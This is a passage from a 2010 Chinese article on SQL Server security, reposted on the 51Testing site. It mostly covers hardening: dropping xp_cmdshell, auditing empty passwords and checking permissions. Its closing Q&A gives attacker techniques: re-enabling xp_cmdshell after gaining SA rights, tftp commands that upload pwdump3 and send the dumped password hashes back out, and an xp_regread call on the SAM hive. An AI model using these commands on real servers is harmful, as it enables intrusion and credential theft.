从IIS到SQL Server数据库安全

发表于:2010-2-25 14:07

字体: | 上一篇 | 下一篇 | 我要投稿

 作者:未知    来源:51Testing软件测试网采编

  SQL Server的安全配置

  除跟着微软打满所有补丁外,还需要加强数据库的安全。

  首先,你需要加强象sa这样的帐号的密码,跟系统帐号的使用配置相似,一般操作数据库不要使用象sa这样的最高权限的帐号,而使用能满足你的要求的一般帐号。

  接着对扩展存储过程开始大屠杀,首先就是xp_cmdshell,还有就是上面那些一大堆存储过程,都drop吧,一般也用不着。

  执行:

use master
sp_dropextendedproc ’xp_cmdshell’

  去掉guest帐号,阻止非授权用户访问。

  去掉不必要的网络协议。

  加强对数据库登陆的日志记录,最好记录所有登陆事件。可以用下面的简单DOS命令来查看日志:

  findstr /C:"登录" d:\Microsoft SQL Server\MSSQL\LOG\*.*

  用管理员帐号定期检查所有帐号,是否密码为空或者过于简单,比如下面的语句:

Use master
Select name,Password from syslogins where password is null

  用下面语句对所有帐号,检查对存储过程和扩展存储过程的执行权,提防不必要的执行权限扩散:

Use master
Select sysobjects.name From sysobjects,
sysprotects Where sysprotects.uid = 0
AND xtype IN (’X’,’P’) AND sysobjects.id = sysprotects.id

  加强数据库的安全是非常重要的,有的数据库服务器是和WEB服务器隔离开的,这就同MAIL服务器一样,数据库的日志可能就基本很少去查看,这将会成为管理员的一个疏忽点。类似DNS、MAIL等等,数据库服务器往往成为各种入侵的跳板。

  下面是一些关于数据库的问答和技巧:

  1、获得SA权限后,却不能执行xp_cmdshell存储过程怎么办?

  答:可能是已经把xp_cmdshell等扩展存储过程删除了,可以用这个存储过程把xp_cmdshell恢复。

  sp_addextendedproc ’xp_cmdshell’, ’xpsql70.dll’

  2、通过数据库用pwdump获得系统管理员密码

  先上传一个pwdump

tftp -i GET pwdump3.exe pwdump3.exe
tftp -i GET lsaext.dll lsaext.dll
tftp -i GET pwservice.exe pwservice.exe
pwdump3 127.0.0.1 outfile.txt
tftp PUT outfile.txt outfile.txt

  然后再用解密工具l0pht等等破解这些密码。

  3、从数据库读取系统管理员密码

  能读出加密的密码是NT的"administrator"帐号也不能做的,SQL Server能读出来是使用的"LocalSystem"帐号,这个帐号比administrator更高一级。可以使用下面这个存储过程。不过读出来的密码是经过加密后的,然后再解密吧。

  xp_regread ’HKEY_LOCAL_MACHINE’,'SECURITY\SAM\Domains\Account','F'

  当然,数据库安全和缺陷还有很多,还需要更多的研究。我对数据库的学习还是起步阶段,限于自己的水平,上面的难免有错,欢迎大家指正和指教。如果你有更多关于数据库的安全资料或者疑问,欢迎联系我,Email: dongjw#staff.ccidnet.com (请将"#"改为"@")。

22/2<12
《2023软件测试行业现状调查报告》独家发布~

关注51Testing

联系我们

快捷面板 站点地图 联系我们 广告服务 关于我们 站长统计 发展历程

法律顾问:上海兰迪律师事务所 项棋律师
版权所有 上海博为峰软件技术股份有限公司 Copyright©51testing.com 2003-2024
投诉及意见反馈:webmaster@51testing.com; 业务联系:service@51testing.com 021-64471599-8017

沪ICP备05003035号

沪公网安备 31010102002173号